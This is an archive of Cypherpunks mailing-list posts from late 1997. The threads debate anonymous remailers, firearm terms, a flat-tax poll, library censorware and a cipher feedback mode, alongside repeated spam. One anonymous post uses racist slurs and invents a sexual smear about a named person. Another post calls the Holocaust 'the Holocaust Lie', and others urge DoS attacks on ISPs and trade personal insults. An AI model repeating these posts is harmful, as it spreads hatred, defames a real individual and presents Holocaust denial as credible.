Nor do I understand the "who refuses to be killfilable" part, either.  How can
someone you don't even know control your killfile?  I can killfile anyone I
want to, including "nobody at some_remailer".  I haven't killfiled anyone, but
I could do so if I wanted to.
 
> :>:The problem is that devising workable solutions to problems that don't yet
> :>:exist is much more difficult that resolving problems that do already exist.
> :>
> :>Many say the problem does exist.
> :
> :There are already problems with anonymous posts.  It's all about abuse "on" 
> :the net, in this case.  Everyone in the NANA groups say "That's abuse on the
> :net, not abuse of the net.  If someone is libelling or harassing you, take  
> :it up with the police."  A traceless remailer makes that impossible.
>  
> True.

Why would that prevent you from contacting the police?  But consider that 
libel is a civil tort not a criminal offense, so the police aren't likely to 
get involved, even if you could identify the culprit.

Using a remailer does not make a person unidentifiable, just untraceable.
There is a difference.
 
> :>Good point.  I again forgot he said "Are only for criminals"
> :
> :Oh, for crying out loud.  I'll try to be more precise.  Completely 
> :untraceable communications are only *needed* by people performing acts that
> :are illegal by the laws of all jurisdictions where an anonymous remailer
> :with trace logging exists.
>  
> You did it again.  If you change the word "only" to "sometimes" it would be
> more correct.

And probably no more so than pay phones or Netcom accounts.
 
> :>:> I still think he's mistaken by thinking that all who post anonymously are
> :>:> lawbreakers.
> :
> :I don't think that.  I never said that.
>  
> Yes, you did.  And you did it again above.  "only needed by people performing
> acts that are illegal"

Sounds the same to me.  I don't know how you could have one without the other.
 
> :>:I do too.  But his premise was used to support his suggested remedy.  If an
> :>:anonymous user is NOT presumed to be a criminal, then you can't justify
> :>:treating him like one.
> :
> :How is this "treating him like a criminal".  I'm asking for a very small
> :amount of information to be kept.  Far less than that required to open a
> :bank account.  Are you saying that banks are treating people like criminals 
> :when they ask for ID?
>
> True. Very True.  It should be "treat him like a suspect" and yes, the banks
> treat you like a suspect everytime they ask for ID.  They suspect you may be a
> criminal if they don't know you.  It's SUPPOSED to be that way.

Banks are a poor analogy, because anonymity is more analogous to paying cash.
When you sign your name to a check, you're already identifying yourself.
Banking is an inherently identity-based institution.  You're asking someone
to trust you, and it's up to you to prove yourself to be trustworthy.

A check is made valuable or worthless by virtue of the validity of its 
signature.  Ideas can be evaluated on their own merit, just like paper
currency can.  I don't need to see two forms of ID to determine whether that
$100 bill you just handed me is genuine or counterfeit.
 
> :>I still wonder about what to do about "suspects" on the net.  How do you
> :>investigate one suspected without harming those NOT suspected?
> :
> :This is my point.
>  
>  
> Duh, I know.

The solution being what?  Surrendering freedom for the sake of supposed
security?  I don't see that there is necessarily a dilemma between protecting
victims versus preserving the freedoms of average citizens.

It seems that every solution I offer Politas' is countered with a "yeah, but 
what about .... " objection.  In an imperfect world, government cannot 
completely protect people from themselves.

I'm really trying to understand what Politas' wants, but it's difficult.  I've
suggested several solutions to his hypothetical problems that don't infringe
on the freedoms of the innocent, but each is quickly rejected.

- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJ7rOQbp0h8ZvosNAQHuNQf+JTOZwB/OMXag+Q/fp7vYjZ9pfHV0U5WI
rlSgEmZzDIHPUqfns7cDrHSwhKYvfQn9L3VC64qgwRjNSiHcgCqo2f2pnv1Rogoe
pu8nvhANfAFpSIiLQ3oMndVvp3xcNt3MGlFhrBGADgbJ1ky4RtdWeDWvz19tJWlM
Zpy4igHDWyTFmgNTbccq5qeUrHR2mw9/QQb5GNWK9c6tmj54OMv0kOH8Xpqyl+Fq
FocnOLXZI/MAacL5gaLFhNdsv9LkNaC+SeFlK1OxHkcNmTVc00VkPwEzAXtrLSA+
Te+FiRp61mz39CY3hg+Hg/fyLdrTIPK0QjAyL+Lg9ayJh1gVkS8rLw==
=HyrT
-----END PGP SIGNATURE-----






From twaweb at inet2.twa.com  Tue Dec 23 10:23:16 1997
From: twaweb at inet2.twa.com (Trans World Specials)
Date: Tue, 23 Dec 1997 10:23:16 -0800 (PST)
Subject: Trans World Specials Fare Sales
Message-ID: <19971223163812.23026.qmail@inet2.twa.com>


Happy Holidays from your friends 
 who bring your weekly Trans World
 Specials.  We will not have a fare
 sale this week. Our next fare sale 
 will be Tuesday, January 5th. Have
 a happy and safe holiday. 






From ravage at ssz.com  Mon Dec 22 18:33:44 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 10:33:44 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230241.UAA21609@einstein.ssz.com>



Forwarded message:

> From: "Michael H. Warfield" 
> Subject: Re: Lock and Load
> Date: Mon, 22 Dec 1997 18:27:47 -0500 (EST)

> Mix enscribed thusly:
> > Jim Choate wrote:
> > > Forwarded message:
> > > > Not being a native English speaker, I do not understand the
> > > > meaning and origin of the phrase "LOck and Load".
> > >
> > > It means to lock the rifles safety and load it's chamber in preperation for
> > > firing at an enemy. It is usualy used in a military context but head-bangers
> > > and such use it when talking about loading their bongs and I am shure other
> > > groups use it as well in various contexts.
> 
> 
> > Wait a second, aren't we supposed to load first and lock later? How
> > can you load a rifle if it is on safety? 
> 
> 	The reference goes back to old flint lock muzzle loaders.  You would
> "lock" the firing mechanism in a safety position (kind of a half cocked
> position), then load it through the muzzle (picture this and some old
> cartoons about raming a ball on top of gun powder down the muzzle of a
> riffle and the possiblities to picture why you would want this locked on
> "safety"), then finish cocking the rifle to prepare it to fire.  This also
> relates to the term "half cocked" since a rifle that was only half cocked
> (in its locked position) was not ready to fire.  So going off "half cocked"
> became a reference to going into something unprepared while "lock and load"
> evolved into a reference to actively or vigorously preparing to engage in
> something, be it a battle, an arguement, or what ever...

This is only partialy correct, the fact is that half-cocked simply means the
pan-head is down or covered so if the flint strikes the firing plate a spark
will not be propogated into the firing chamber (a hole in the side of the
barrel) and hence fire the weapon. Firing one of these weapons is a two step
process once loaded and aimed. Pull the hammer back and remove the pan-head.
The pan-head is *always* opened just prior to firing in order to eliminate
as many causes of a mis-fire (eg rain hitting the pan-head or wind blowing
the primer charge out of the pan-head) as possible.

Traditionaly (as I was tought anyway) 'half-cocked' meant you didn't carry
through all the way in preperations to the final goal. It is clear that it
has taken on much broader meaning relating to general incompetance and
over-zealousness.

"Lock and load" is not in any of the infantry manuals I have ever seen from
before the mid-1800's. And in every case it refered to a modern weapon not
a muzzle load weapon. If anyone can point to an exception I would
appreciate it. In all of them it refers to safety'ing the weapon and then
loading a round into the chamber. It originaly came into use because of the
operation of a bolt-action rifle. If the gun wasn't on safety when the bolt
was driven home there was a small but real chance the firing pin (in the
back of the bolt you just jammed down with some zeal) would go off and cause
the weapon to mis-fire (if you and your buddy are both lucky - you missed
both of you).

As to the loading of the ball onto the gun-powder - you won't do it the way
described above but once. The black powder will go off on about the 3rd tap
and you won't have the two hands it takes to load a muzzle-loader. If you
*ever* load a black powder be *absolutely shure* that there is a ball pad
between the gun powder and the ball. It is *not* there for barrell sealing
or some other silly explanation - it's there to inhibit compressive
explosion of the black powder. Don't believe it, go down to the hardware or
feed store and buy a small can of black powder. Then get a 3/4" pipe and
cap. Put only one or two flakes of the black powder on the threads and then
tighten with a pipe wrench (wear gloves, glasses, and apron). After about a
half turn or so you should hear a distinct snapping sound. This is the black
powder going off. This is what will happen if black powder gets between the
ball and barrel while you're tapping - and there's a *lot* more gunpowder
than a couple of flakes to take your hand (and your face if you're silly
enough to be leaning over the barrel which is where not looking down the
barrel of a gun comes from).

Also, those guns didn't have safeties to engage. There was really only two
ways to enshure a safe weapon once loaded - either have the panhead closed
or take the flint or steel blade out of the hammer. Even when un-cocked the
hammer and blade rests on the firing plate and any stiff strike will cause a
spark. Easy to demonstrate - while holding one simply strike the hammer with
the heel of your hand while in the dark - that little spark is what blew
your face off.

You can buy working 'Brown Bessie' models at most any gun or decent hobby
store. They're cheap (around $100 last time I looked), loud, smelly, and
loads of fun...


Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From ravage at ssz.com  Mon Dec 22 18:43:45 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 10:43:45 +0800
Subject: http:--cnnfn.com-quickenonfn-taxes-9712-22-q_taxes_poll-
Message-ID: <199712230300.VAA21729@einstein.ssz.com>



   
   
   [IMAGE] [LINK] [ISMAP] graphic 
   Should there be a flat tax?
   
   
   Results of new poll show Americans favor a flat tax, with some changes
   
   
   
   December 22, 1997: 3:36 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Post: President Decides Against Tax Plan Offer - Dec. 21, 1997
   
   [INLINE]
   
   The Gallup Organization
   
   USA Today
   More related sites... NEW YORK (CNNfn) - According to a CNN/USA
   Today/Gallup poll, Americans now favor, by a thin margin, a flat tax
   system in which all Americans would pay the same percentage of their
   income in taxes -- regardless of how much money they make.
   [INLINE] But the public opposes two central features of flat tax
   proposals: the elimination of deductions for mortgage interest and for
   charitable contributions.
   [INLINE] Only one third of the country would favor replacing the
   current income tax system with a national sales tax which would apply
   to all retail purchases. The public believes that most Americans pay
   their fair share in taxes.
   [INLINE] The poll interviewed 1,019 adult Americans on November 21-23.
   [INLINE] The results are as follows:
   [INLINE] Flat Tax System
   [INLINE] Favor, 51 percent
   [INLINE] Oppose, 46 percent
   [INLINE] Flat Tax System With No Mortgage Deduction
   [INLINE] Favor, 42 percent
   [INLINE] Oppose, 54 percent
   [INLINE] Flat Tax System With No Charitable Deduction
   [INLINE] Favor, 43 percent
   [INLINE] Oppose, 53 percent
   [INLINE] Replacing Income Tax With National Sales Tax
   [INLINE] Favor, 32 percent
   [INLINE] Oppose, 62 percent
   [INLINE] Do Most Americans Pay Their Fair Share in Taxes?
   [INLINE] Yes, 54 percent
   [INLINE] No, 43 percent
   [INLINE] Sampling error on all of the above questions: +/-3 percentage
   points. Link to top 
   
   
   
   home | taxes | quicken.com on fn | contents | search | stock quotes |
   help
   
   Copyright © 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.






From dlv at bwalk.dm.com  Mon Dec 22 19:19:01 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 11:19:01 +0800
Subject: Rich Graves and fight-censorship
In-Reply-To: <199712222344.AAA08997@basement.replay.com>
Message-ID: <1a05He22w165w@bwalk.dm.com>



nobody at REPLAY.COM (Anonymous) writes:

> Can someone tell me why Rich Graves was kicked of fight-censorship some
> time ago?

Because Declan McCulough wanted to be the biggest liar on his list and
didn't like the competition from Rich.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 19:20:18 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 11:20:18 +0800
Subject: Dishonorable ISPs censoring Usenet
In-Reply-To: <0af1f50d709c70d6ee98863386f81e59@anon.efga.org>
Message-ID: 



Anonymous  writes:

> >> (Many people here probably remember Fred Cherry - Panix pulled his
> >plug for
> >> "homophobia".)
> >I wish you could be a little more specific.
> >Harrashing email and excessive cross-posting in violation of each
> >UseNet
> >group charter is not
> >censorship.
>
> If ISP's censored flames (harrasments, whatever) then we might as well call e

ISPs that pull users' plugs for "spamming" (which Chris Lewis et al define
as exsessive or inappropriate cross-posting or content) are obviously
engaging in content censorship.  Any ISP that how an "acceptable use policy"
that mentions "spam" in disparaging terms is full of shit and should be
boytcotted, blacklisted, and DOSed out ob business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Dec 22 19:21:04 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 11:21:04 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712222201.QAA20397@einstein.ssz.com>
Message-ID: 



Jim Choate  writes:

> > Subject: Re: SPECIAL REPORT: Censorware in the Stacks
> > From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> > Date: Mon, 22 Dec 97 15:33:03 EST
>
> > On the contary. when no library was state (meaning, taxpayer) funded, and t
>
> Get your facts straight. The US has a library that from day 1 has been
> citizen supported. Every state (that I am aware of) has a state library that
> is funded by tax payers. Furthermore, Texas & Lousiana have had localy
> supported libraries and schools before they were even states.

Jim,

I suggest you get your facts straight.

LOC is for the Congress. Have you tried getting in and doing your own private
research? It's not piece of cake.

Every state has a public library NOW, just like every state has a welfare
office.  However I have plenty of evidence that libraries in New York were
much better when there were many private ones who charged patrons for use
- which was the case about 100 years ago.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at ssz.com  Mon Dec 22 19:32:02 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 11:32:02 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712230348.VAA21992@einstein.ssz.com>



Forwarded message:

> Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)
> From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Mon, 22 Dec 97 21:34:42 EST

> Jim Choate  writes:
> 
> > > Subject: Re: SPECIAL REPORT: Censorware in the Stacks
> > > From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> > > Date: Mon, 22 Dec 97 15:33:03 EST
> >
> > > On the contary. when no library was state (meaning, taxpayer) funded, and t
> >
> > Get your facts straight. The US has a library that from day 1 has been
> > citizen supported. Every state (that I am aware of) has a state library that
> > is funded by tax payers. Furthermore, Texas & Lousiana have had localy
> > supported libraries and schools before they were even states.
> 
> Jim,
> 
> I suggest you get your facts straight.
> 
> LOC is for the Congress. Have you tried getting in and doing your own private
> research? It's not piece of cake.

Wrong, the LOC is for the people. It is there (originaly) to provide a
reference listing of all documents published and therefore claiming copyright.
Currently it is open to any legitimate research project. I have used it on a
couple of projects in the past to research writings no longer in print.

> Every state has a public library NOW, just like every state has a welfare
> office.  However I have plenty of evidence that libraries in New York were
> much better when there were many private ones who charged patrons for use
> - which was the case about 100 years ago.

New York does not equate to 'all the states'. A more than trivial point in
your position. Bottem line, both Texas and Louisiana have public libraries
that predate eithers entry into the Union.

Go piss in that pot you lying commie sack of shit.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From JohnsMP at LOUISVILLE.STORTEK.COM  Mon Dec 22 19:53:07 1997
From: JohnsMP at LOUISVILLE.STORTEK.COM (Johnson, Michael P (Mike))
Date: Tue, 23 Dec 1997 11:53:07 +0800
Subject: Question on CFB variant with c[i-N]
Message-ID: 



>David Honig  wrote:
>At 06:46 PM 12/20/97 -0700, Johnson, Michael P (Mike) wrote:
>>>
>>>
>>>>>              cfb    Ciphertext feeback mode
>>>>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>>>>                     p[i] = f1(K, c[i-1]) ^ c[i]
>>>
>>
>>
>>Suppose instead of c[i-1] you use c[i-N] where N is say 10. 
>>How would you prove that this has no security implications?
>>That 10-way interleaved cfb streams are security-equivalent to
>>a single cfb stream interleaved with the immediately previous block?

That would make it harder to get the process started, since you would
need 10 initialization vector blocks instead of 1, so it would bloat
your messages more.

How about this mode:
    c[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]
    p[i] = e(K1, e(k2, c[i-1]) ^ p[i-1]) ^ p[i]

The feedback possibilities are literally endless. The analysis of the
effects on security, speed, error propagation, etc., are left as an
exercise for the reader. 

Some standard modes have been well analyzed and accepted. They also are
built into specialized cracking hardware. Offering and using multiple
modes and multiple algorithms raises the cost of building specialized
cracking hardware.







From tcmay at got.net  Mon Dec 22 19:57:44 1997
From: tcmay at got.net (Tim May)
Date: Tue, 23 Dec 1997 11:57:44 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712230348.VAA21992@einstein.ssz.com>
Message-ID: 



At 8:48 PM -0700 12/22/97, Jim Choate wrote:

>Wrong, the LOC is for the people. It is there (originaly) to provide a
>reference listing of all documents published and therefore claiming copyright.
>Currently it is open to any legitimate research project. I have used it on a

Jim,

Any idea on what they define to be a "legitimate" research project? I'd
hate to travel 3000 miles to research the Holocaust Lie, only to be told
that my research on how the Holocaust Lie was sold to support FDR and
Truman is an _illegitimate_  research project.

(Not to mention having the LOC Thought Police reporting me to Interpol for
arrest upon my arrival at any EEC port of entry.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From whgiii at invweb.net  Mon Dec 22 20:09:04 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Tue, 23 Dec 1997 12:09:04 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712230348.VAA21992@einstein.ssz.com>
Message-ID: <199712230403.XAA09994@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712230348.VAA21992 at einstein.ssz.com>, on 12/22/97 
   at 09:48 PM, Jim Choate  said:

>Go piss in that pot you lying commie sack of shit.
                               ^^^^^^

????? Since when is one considered a "commie" for opposing unwarented and
unconstitutional intervention in the free market?!?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNJ83ho9Co1n+aLhhAQKh3gP+J9IoMSOP72iBJwmj9ctouzBLA65RJBIZ
4+BXoYmCwy+4tDcUrWkM7IPwEduD81vPkx+X4adA5EhziwIrKyIE8BxgQEu4jAcK
Koo8uTgbPmDxCjLElTXp1LZPIggmrFMiwBjXGLrg3K/dpDrveAYGp/D/nGKh8O2C
30p+9GLnjgk=
=PlYr
-----END PGP SIGNATURE-----






From ravage at ssz.com  Mon Dec 22 20:15:40 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 12:15:40 +0800
Subject: Lock and Load (fwd)
Message-ID: <199712230422.WAA22160@einstein.ssz.com>



Hi Igor,

Sorry you are the one to bring this one up...

Forwarded message:

> Subject: Re: Lock and Load (fwd)
> Date: Mon, 22 Dec 1997 21:45:46 -0600 (CST)
> From: ichudov at algebra.com (Igor Chudov @ home)

> 
> AK-47.
> 

The Chinese Norinco version will certainly do so, I've fired a couple of
them. Never seen a real soviet model but they are supposed to be piece for
piece interchangable. But will check into it and get back to you.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Mon Dec 22 20:28:21 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 23 Dec 1997 12:28:21 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
Message-ID: <199712230446.WAA22327@einstein.ssz.com>



Forwarded message:

> Date: Mon, 22 Dec 1997 19:58:05 -0700
> From: Tim May 
> Subject: Re: SPECIAL REPORT: Censorware in the Stacks (fwd)

> >Wrong, the LOC is for the people. It is there (originaly) to provide a
> >reference listing of all documents published and therefore claiming copyright.
> >Currently it is open to any legitimate research project. I have used it on a
> 
> Any idea on what they define to be a "legitimate" research project?

Something related to a project you're working on is my guest guess. I had a
clear problem description and goal in mind both times I dealt with them. My
experience is that just about any research organization like that simply
wants some assurance of legitimacy regarding the use of resources in that
institution, they got a bottem line they have to toe. In my various diggings
I have *never* been turned away from any reference stack if I could provide
them with clear descriptions and goals. Then again, I don't go in raving and
ranting and making lot's of demands either...

The first time I had reference to them was when I worked for the DoD during
college ('80-'83 @ UT) when I had to do some research on a RTL project for
Capt. Gene Barton of the US Army. Not that he would necessarily know
anything about it. I made the requests for specific information through the
engineering library at UT and they contacted both LoC and the Patent Office
on prior art. I was designing a non-Von Neumann router from TTL random gates
and needed to see how some folks had resolved some similar addressing (very
sticky wicket that in regards RTL architectures) issue. The second time was
when I was working for Austron here in Austin doing time reference standards
(1210's, 2055's, 2000 & 5000 LORAN recievers - it you got one and it was
done by triangle-nine it's mine) and needed to do some reference requests
for one of the engineers (I unfortunately don't remember his name) into rf
propogation models in the 10kHz range because of some problem the US Navy
was having off Korea. Past that I don't know as there was some sort of
security issue involved.

Neither time did it take more than a couple of phone calls (numbers provided
for me) and some faxes. I also don't believe that anyone on the other end
know anything more about my projects other than the librarian on my end
saying something like "I have a user who wants to request ...".

YMMV of course.

> hate to travel 3000 miles to research the Holocaust Lie, only to be told
> that my research on how the Holocaust Lie was sold to support FDR and
> Truman is an _illegitimate_  research project.

You don't have to travel farther than your local public library. Now whether
the librarian wants to spend their time working on your project is a whole
'nother (personal) issue.

If you want to know more specifics I suggest you call information in DC and
ask for the main number. From there you're on your own. I'm working on a
small book proposal & ASL expansion pack regarding the Japanese parachute
invasion of Palembang on Feb. 14, 1942 and it's possible I may need to see
records there since the US Navy was part of the combined
British-Dutch-French-US command in that area. If so, I'll be shure to pass
along any experiences that I might have. I certainly hope to arrange an
actual trip to Palembang in a couple of years. But I digress...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From dlv at bwalk.dm.com  Mon Dec 22 20:30:14 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 12:30:14 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks (fwd)
In-Reply-To: <199712230348.VAA21992@einstein.ssz.com>
Message-ID: 



Jim Choate  writes:

[statist bullshit advocating government control of the libraries snipped]
>
> Go piss in that pot you lying commie sack of shit.

Jim,

If you insist on talking to yourself, please don't cc: the list.  Thanks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From berezina at qed.net  Mon Dec 22 20:33:54 1997
From: berezina at qed.net (Paul Spirito)
Date: Tue, 23 Dec 1997 12:33:54 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <3.0.5.32.19971222100447.007d28c0@otc.net>
Message-ID: <34a33a61.43986305@smtp.email.msn.com>



On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:

>
>Note that if the library in question were not arm of the State,
>noone would have any First Amendment claim.
>
>This is reminiscent of TM's recent (controversial) analysis of the fired
>county trashworker/author,
>and suggests a clearer example of the confusion caused by State as Employer:

It's true that in the absence of public libraries this would not be an
issue; however, it is an example of the state acting as sovereign, not
employer. We're concerned with the right of patrons to access material, &
they are not state employees. The situation is analogous to a public park:
just because the state owns it, does that mean it can forbid, say, criticism
of the state in it? No, of course not, though it has broader discretion in
limiting the speech of public employees in the park, while on-duty.

Paul

"(pun intended, though unfunny)"

~Saint






From Streaming at goplay.com  Tue Dec 23 12:37:23 1997
From: Streaming at goplay.com (Streaming at goplay.com)
Date: Tue, 23 Dec 1997 12:37:23 -0800 (PST)
Subject: Streamline
Message-ID: <>


You Can Make Money While You Sleep!!!

No Selling!
No Meetings!
No Sponsoring!
No Dressing Up!
No Presentations!
No Time Required!
No Telephone Calls!
No Running Around!
No Face-to-Face Contact!

The On-Line Recruiter Does Everything For You !!!!
                                                 
Company mails FREE info packs!
Earn thousands your first MONTH!
Most lucrative pay plan in the industry!
Commission checks increase every month!
Completely automated sponsoring system!
Fast Track Bonus CHECKS GUARANTEED!

Not too mention the superb natural supplements from Dr. Christopher!  Formulas to 
improve your body, weight, energy, and mind!  

Please take a look before blowing this off, it's easy and it works, you just have to give it 
a chance!

http://www.geocities.com/Eureka/Gold/3309/






From Streaming at goplay.com  Tue Dec 23 12:37:23 1997
From: Streaming at goplay.com (Streaming at goplay.com)
Date: Tue, 23 Dec 1997 12:37:23 -0800 (PST)
Subject: Streamline
Message-ID: <>


You Can Make Money While You Sleep!!!

No Selling!
No Meetings!
No Sponsoring!
No Dressing Up!
No Presentations!
No Time Required!
No Telephone Calls!
No Running Around!
No Face-to-Face Contact!

The On-Line Recruiter Does Everything For You !!!!
                                                 
Company mails FREE info packs!
Earn thousands your first MONTH!
Most lucrative pay plan in the industry!
Commission checks increase every month!
Completely automated sponsoring system!
Fast Track Bonus CHECKS GUARANTEED!

Not too mention the superb natural supplements from Dr. Christopher!  Formulas to 
improve your body, weight, energy, and mind!  

Please take a look before blowing this off, it's easy and it works, you just have to give it 
a chance!

http://www.geocities.com/Eureka/Gold/3309/






From nobody at REPLAY.COM  Mon Dec 22 20:42:42 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 23 Dec 1997 12:42:42 +0800
Subject: Hate speech and censorship
Message-ID: <199712230432.FAA10658@basement.replay.com>



> > > > Yes, those on the list a few months ago (around the time the list moved
> > > > from cocksucker John Gilmores toad.com to the distributed list format)
> > > > will remember censorous arab Sameer Parekh for sending abusive mail
> > > > threatening legal action to those who criticised the security of his
> > > > companies "stronghold" firewall, which I among others suspect to contain
> > > > govt. backdoors, uneducated and foolish arabs such as Parekh should stick
> > > > to what they do best: running kebab shops and/or selling cheap fake rolex
> > > > watches to tourists.
> > >
> > > Sameer parekh sounds like he lives by the Arab proverb: "Women for sons,
> > > boys for pleasure, but a camel for sheer extasy".
> >
> > I guess I am missing something, but what is so good about camels?
>
> I don't know - you'd have to ask Sameer Parekh.  Does he keep one in his
> C2Net office, and is it a male or a female camel?

Yes, Sameer Parekh does keep a Bactrian camel in his C2Net office.

The camel is male.

Sameer uses his oral and anal orifices to play the part of a female camel.

 +-----#--+
 |  O #   |
 |  |#__O |
 |._#_> \ |
 +-#------+
 Stop AIDS!






From ichudov at Algebra.COM  Mon Dec 22 20:42:52 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 23 Dec 1997 12:42:52 +0800
Subject: Lock and Load (fwd)
In-Reply-To: <199712230422.WAA22160@einstein.ssz.com>
Message-ID: <199712230437.WAA19352@manifold.algebra.com>



Jim Choate wrote:
> Sorry you are the one to bring this one up...
> Forwarded message:
> 
> > Subject: Re: Lock and Load (fwd)
> > Date: Mon, 22 Dec 1997 21:45:46 -0600 (CST)
> > From: ichudov at algebra.com (Igor Chudov @ home)
> 
> > 
> > AK-47.
> > 
> 
> The Chinese Norinco version will certainly do so, I've fired a couple of
> them. Never seen a real soviet model but they are supposed to be piece for
> piece interchangable. But will check into it and get back to you.
> 

You can't lock and load an AK. I remember that very well even though it
has been a while. The bolt just would not go far enough back to pick up
the cartridge. The bolt carrier's charging handle would only go as far
as to allow for the weapon inspection.

You can only load and lock. And I think that it is the right design,
because a soldier cant accidentally get the weapon loaded.

I could field strip an AK (mind you, with all military gadgets) in 11
seconds and assemble it back in 21 seconds.

What crypto relevance does it have?

	- Igor.






From dlv at bwalk.dm.com  Mon Dec 22 20:45:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 23 Dec 1997 12:45:34 +0800
Subject: SPECIAL REPORT: Censorware in the Stacks
In-Reply-To: <34a33a61.43986305@smtp.email.msn.com>
Message-ID: 



berezina at qed.net (Paul Spirito) writes:

> On Mon, 22 Dec 1997 10:04:47 -0800, David Honig wrote:
>
> >Note that if the library in question were not arm of the State,
> >noone would have any First Amendment claim.
> >
> >This is reminiscent of TM's recent (controversial) analysis of the fired
> >county trashworker/author,
> >and suggests a clearer example of the confusion caused by State as =
> Employer:
>
> It's true that in the absence of public libraries this would not be an
> issue; however, it is an example of the state acting as sovereign, not
> employer. We're concerned with the right of patrons to access material, &
